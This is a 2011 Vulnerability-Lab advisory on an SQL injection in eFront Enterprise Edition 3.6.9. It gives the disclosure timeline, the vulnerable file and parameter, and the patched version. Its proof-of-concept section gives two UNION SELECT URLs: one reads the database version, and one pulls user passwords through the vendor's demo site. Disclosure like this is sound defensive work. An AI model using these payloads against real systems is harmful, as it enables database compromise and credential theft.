eFront Enterprise Edition 3.6.9 SQL Injection

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eFront Enterprise Edition v3.6.9 - SQL Injection Vulnerability  
  
  
Date:  
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2011-10-07  
  
  
References:  
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http://www.vulnerability-lab.com/get_content.php?id=230  
  
  
VL-ID:  
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230  
  
  
Introduction:  
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Tailored with larger organizations in mind, eFront Enterprise offers solutions for the management of companies most   
valued asset - the people. Based on a coherent approach to human capital management which keeps the workforce actively   
engaged, the eFront Enterprise platform offers the means of aligning learning programs with business goals to cultivate   
employee skills and knowledge associated with business performance. eFront Enterprise builds on top of eFront Educational.  
  
(Copy of the Vendor Homepage: http://efrontlearning.net/product/efront-enterprise.html)  
  
  
Abstract:  
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An anonymous researcher of the vulnerability Lab Team discovered a critical SQL Injection vulnerability on eFront CMS v3.6.9  
  
  
Report-Timeline:  
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2011-09-18: Vendor Notification  
2011-09-21: Vendor Response/Feedback  
2011-10-06: Vendor Fix/Patch  
2011-10-07: Public or Non-Public Disclosure  
  
  
Status:  
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Published  
  
  
Affected Products:  
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eFront  
Product: eLearning Enterprise Edition v3.6.9  
  
  
Exploitation-Technique:  
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Remote  
  
  
Severity:  
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Critical  
  
  
Details:  
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A SQL Injection vulnerability is detected on eFronts CMS v.3.6.9! The bug allows an remote attacker to inject/execute own sql   
statements over the vulnerable param request. Successful exploitation of the bug can lead to dbms & cms compromise.  
  
Vulnerable Module(s):  
[+] student section  
  
Vulnerable File(s):  
[+] student.php  
  
Vulnerable Param(s):  
[+] ?ctg=messages&folder=  
  
  
Pictures:  
../1.png  
  
  
Proof of Concept:  
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The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...  
  
PoC:   
http://xxx.net/enterprise/www/student.php?ctg=messages&folder=7+/*!Union*/Select+1,2,3,4,5,6,version%28%29,8,9,10,11,12--  
  
Full: (reproduce)  
http://demo.efrontlearning.net/enterprise/www/student.php?ctg=messages&folder=64+/*!Union*/Select+1,2,3,4,5,6,password,8,9,10,11,12+from+users--  
  
  
Solution:  
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2011/10/10 v3.6.10 build 11944 - http://www.efrontlearning.net/download  
  
  
Risk:  
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The security risk of the remote sql injection vulnerability is estimated as critical.  
  
  
Credits:  
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Vulnerability Research Laboratory - Mohammed Abdelkader A.  
  
  
Disclaimer:  
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